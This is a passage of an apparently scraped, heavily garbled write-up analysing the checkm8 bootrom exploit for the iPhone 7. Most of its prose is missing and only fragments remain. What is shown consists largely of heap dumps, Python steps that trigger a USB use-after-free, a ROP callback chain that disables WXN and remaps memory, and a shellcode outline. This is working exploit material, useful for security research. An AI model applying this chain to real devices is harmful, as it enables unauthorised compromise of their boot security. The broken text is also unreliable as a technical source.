........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

, High Speed Full Speed , IO -. , , , . , .


2. IO-


 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

OUT - . , io_buffer . DFU DFU_CLR_STATUS , DFU .


3. usb_device_io_request use-after-free


 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

usb_device_io_request t8010_overwrite , .


t8010_nop_gadget 0x1800B0800 callback next usb_device_io_request .


t8010_nop_gadget , , LR , - free callback - usb_core_complete_endpoint_io . , , .


 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next INSECURE_MEMORY + 0x800 . INSECURE_MEMORY , 0x800 callback-chain , .


4.


 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

. :


 0x1800B0000: t8010_shellcode #  shell-code ... 0x1800B0180: t8010_handler #   usb- ... 0x1800B0400: 0x1000006a5 #     #  SecureROM (0x100000000 -> 0x100000000) #        ... 0x1800B0600: 0x60000180000625 #     #  SecureRAM (0x180000000 -> 0x180000000) #        0x1800B0608: 0x1800006a5 #     #    0x182000000  0x180000000 #           0x1800B0610: disabe_wxn_arm64 #    WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. callback-chain


 dfu.usb_reset(device) dfu.release_device(device) 

USB usb_device_io_request . , callback . :


 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

, 0x70 . f(x) f x .


, Unicorn Engine . uEmu .



iPhone 7 .


5.1. dc_civac 0x1800B0600


 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

. , .


5.2. dmb


 0000000100000478: DMB SY 000000010000047C: RET 

, , . , , .


5.3. enter_critical_section()


.


5.4. write_ttbr0(0x1800B0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 0x1800B0000 . INSECURE MEMORY , . , :


 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5. tlbi


 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

, .


5.6. 0x1820B0610 - disable_wxn_arm64


 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never), RW . WXN - .


5.7. write_ttbr0(0x1800A0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 . BootROM , INSECURE_MEMORY .


5.8. tlbi


.


5.9. exit_critical_section()


.


5.10. 0x1800B0000


shellcode .


, callback-chainWXN shellcode RW -.


6. shellcode


shellcode src/checkm8_arm64.S :


6.1. USB -


usb_core_hs_configuration_descriptor usb_core_fs_configuration_descriptor , . . USB -, shellcode .


6.2. USBSerialNumber


- , " PWND:[checkm8]" . , .


6.3. USB -


USB - , .


6.4. USB - TRAMPOLINE ( 0x1800AFC00 )


USB - wValue 0xffff , , . , : memcpy , memset exec ( ).


.


USB


Proof-of-Concept checkm8 Arduino Usb Host Shield . PoC iPhone 7 , . iPhone 7 DFU Usb Host Shield , PWND:[checkm8] , USB - ipwndfu ( , - ..). , , USB -. USB_Host_Shield_2.0 . , patch- .




. checkm8 . , . jailbreak-. , jailbreak checkm8checkra1n . , jailbreak ( A5 A11 ) iOS . iWatch , Apple TV . , .


jailbreak, Apple. checkm8 verbose- iOS , SecureROM GID - . , , JTAG/SWD . , , . , checkm8 , Apple .


مراجع


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. ipwndfu LinusHenze

Source: https://habr.com/ru/post/ar471668/


All Articles